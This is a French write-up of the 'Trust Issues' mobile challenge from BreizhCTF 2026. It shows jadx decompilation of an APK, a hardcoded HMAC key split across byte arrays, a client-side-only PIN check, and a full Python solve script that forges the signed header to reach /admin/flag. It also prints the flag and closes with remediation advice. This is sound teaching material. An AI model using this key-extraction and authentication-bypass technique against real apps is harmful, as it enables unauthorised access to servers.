Writeup

Trust Issues - BreizhCTF 2026

Une app Android pour gérer les flags du CTF. Credentials fournis : player / ctf2026. La clé HMAC pour signer les requêtes est hardcodée dans le binaire, splitée en 4 tableaux pour faire joli. Et la vérification PIN ? Uniquement côté client.

CTF: BreizhCTF 2026
Catégorie: Mobile
Date: 2026-05-22

Contexte

Un APK Android avec des credentials fournis. Mon premier réflexe : lancer jadx et lire le code Java décompilé. La logique réseau est souvent la plus révélatrice dans ce type de challenge.

En quelques minutes, j'ai identifié trois fichiers intéressants : ApiConfig.java pour l'URL de base, ApiClient.java pour la logique réseau, et PinManager.java pour la gestion du PIN.

Dans ApiClient.java, j'ai vu une clé HMAC découpée en quatre tableaux. Et dans PinManager.java, un simple booléen en mémoire. La suite était évidente.

Flag

Flag

••••••••••••••••••••••••••••••••Cliquer pour afficher

1. Reconnaissance

Première étape : identifier le fichier et décompiler.

Identification et décompilation

$ file trust-issues.apk
trust-issues.apk: Zip archive data

$ jadx -d trust_jadx/ trust-issues.apk

Le package principal est com.breizhctf.trustissues. La structure qui m'intéresse :

Fichiers pertinents

api/ApiConfig.java   -> URL de base
api/ApiClient.java   -> logique réseau (login, pin, flag)
api/PinManager.java  -> état de la vérification PIN

2. Analyse statique

La clé HMAC hardcodée

Dans ApiClient.java, la clé est découpée en quatre tableaux de 8 octets. C'est une tentative d'obscurcissement pour qu'elle ne ressorte pas directement dans une recherche de strings :

ApiClient.java - clé HMAC

private static final byte[] _k0 = {-115, -34, 107, -68, 44, 91, 35, 42};
private static final byte[] _k1 = {-26, -49, -76, -15, 18, 120, -85, 100};
private static final byte[] _k2 = {-29, 33, -3, 54, 111, -1, 55, -85};
private static final byte[] _k3 = {-56, 119, -78, -44, -116, 110, -34, 29};

private final byte[] getVerifyKey() {
    return ArraysKt.plus(ArraysKt.plus(ArraysKt.plus(_k0, _k1), _k2), _k3);
}

Java utilise des bytes signés, Python des bytes non signés. Je reconstitue la clé en appliquant b & 0xFF sur chaque valeur.

Le header X-Verify-Token

La requête vers /admin/flag exige un header signé :

ApiClient.java - construction du token

private final String computeVerifyToken(String token, String endpoint) {
    Mac mac = Mac.getInstance("HmacSHA256");
    mac.init(new SecretKeySpec(getVerifyKey(), "HmacSHA256"));
    String data = token + ":" + endpoint;
    return mac.doFinal(data.getBytes(UTF_8));  // encodé en hex
}

// Requête finale :
Request request = new Request.Builder()
    .url(BASE_URL + "/admin/flag")
    .header("Authorization", "Bearer " + token)
    .header("X-Verify-Token", verifyToken)
    .build();

La vérification PIN côté client uniquement

Avant d'appeler /admin/flag, l'app vérifie un PIN. Mais cette vérification est purement en mémoire :

ApiClient.java - garde-fou PIN

if (!PinManager.INSTANCE.isVerified()) {
    return "PIN verification required";
}
Le serveur ne sait pas si le PIN a été vérifié. Ce garde-fou n'existe que dans l'app. Si j'appelle directement l'API avec le bon token et le bon X-Verify-Token, le serveur répond normalement - sans aucune mention du PIN.

3. Exploitation

Le chemin est direct : login pour obtenir un JWT, calcul du X-Verify-Token, appel direct à /admin/flag sans passer par l'app.

solve.py

import hmac, hashlib, json, urllib.request

# Reconstruction de la clé (bytes Java signés -> Python non signés)
def jbyte(b): return b & 0xFF

k0 = bytes([jbyte(x) for x in [-115, -34, 107, -68, 44, 91, 35, 42]])
k1 = bytes([jbyte(x) for x in [-26, -49, -76, -15, 18, 120, -85, 100]])
k2 = bytes([jbyte(x) for x in [-29, 33, -3, 54, 111, -1, 55, -85]])
k3 = bytes([jbyte(x) for x in [-56, 119, -78, -44, -116, 110, -34, 29]])
key = k0 + k1 + k2 + k3

BASE = "https://i-have-trust-issues.ctf.bzh"

# 1. Login avec les credentials fournis
login_data = json.dumps({"username": "player", "password": "ctf2026"}).encode()
req = urllib.request.Request(
    BASE + "/login",
    data=login_data,
    headers={"Content-Type": "application/json"},
    method="POST",
)
with urllib.request.urlopen(req) as r:
    token = json.loads(r.read())["token"]

# 2. Calcul du X-Verify-Token
verify_token = hmac.new(
    key,
    (token + ":/admin/flag").encode(),
    hashlib.sha256,
).hexdigest()

# 3. Appel direct sans passer par la vérification PIN
req2 = urllib.request.Request(
    BASE + "/admin/flag",
    headers={
        "Authorization": f"Bearer {token}",
        "X-Verify-Token": verify_token,
    },
)
with urllib.request.urlopen(req2) as r:
    print(json.loads(r.read())["flag"])

Résultat

BZHCTF{4i_&_cl13nt_s1d3_ch3cks_4r3_n0t_s3cur1ty}

Ce que j'en retiens

  • Une clé secrète dans un binaire distribué n'est pas un secret. Peu importe qu'elle soit splitée en 4 tableaux ou obfusquée d'une autre façon - jadx la décompile et je la reconstitue en 3 lignes Python.
  • Les checks côté client ne protègent pas le serveur. La vérification PIN ne sert qu'à l'UX - le serveur n'a aucun moyen de savoir si elle a été faite ou non. N'importe quelle requête directe avec les bons headers passe.
  • jadx est très efficace sur les APKs non obfusqués. En moins de 5 minutes j'avais toute la logique d'auth sous les yeux, bien plus lisible que du bytecode brut.

Comment le corriger

Deux corrections indépendantes, chacune suffisante pour fermer une des deux failles :

  • Pour le PIN : le lier à la session côté serveur. À la vérification PIN réussie, le serveur émet un token de session supplémentaire. Sans ce token, l'accès à /admin/flag est refusé.
  • Pour la clé HMAC : ne jamais embarquer un secret cryptographique dans un binaire distribué. La clé doit être dérivée d'un secret serveur, échangée dynamiquement (OAuth PKCE, JWT signé côté serveur, etc.).